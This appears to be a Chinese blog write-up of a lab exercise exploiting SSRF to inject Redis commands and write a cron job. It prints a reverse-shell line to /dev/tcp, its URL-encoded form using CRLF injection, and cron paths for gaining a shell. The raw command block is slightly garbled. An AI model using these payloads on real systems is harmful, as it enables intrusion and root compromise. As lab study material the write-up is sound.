抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >
1
2
3
4
5

只能说这个靶场太适合ssrf的学习了,快速了解ssrf并上手
顺带学习了docker的一些用法
最后一步步复现出getshell真的很有感觉

漏洞环境

环境起好久

漏洞点 从图圈中看出存在ssrf

点提交抓个包

当访问不存在的端口时会could not connect over HTTP …..

访问存在的端口时会返回404…

漏洞利用

利用ssrf来探测内网的服务器

内网IP:172.20.0.2:(docker起的一般都是172.* redis默认端口为6379)

#这里补充一个知识点如果找不到自己内网地址的话

docker ps 查看端口

docker inspect 7ff1d6a54296(容器id)

可以找到地址

利用Redis反弹shell

Linux crontab是用来定期执行程序的命令。

发送三条Redis命令,将shell写入etc/crontab

1
2
3
4
set 1 "\n\n\n\n* * * * root bash -i >& /dev/tcp/172.20.0.1/21 0>&1\n\n\n\n" config set 
dir /etc/config
set dbfilename crontab
save

可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令。
因为是通过get方式来发送命令所以要进行URL编码

同时也要指定一个写入的文件命名test,将每一行后面加上%0a%0d代表一行命令结束

1
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.20.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

修改好以后放包

根据写入 监听21端口 耶耶耶反弹shell成功

其他可进行利用的cron有如下几个地方:

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

评论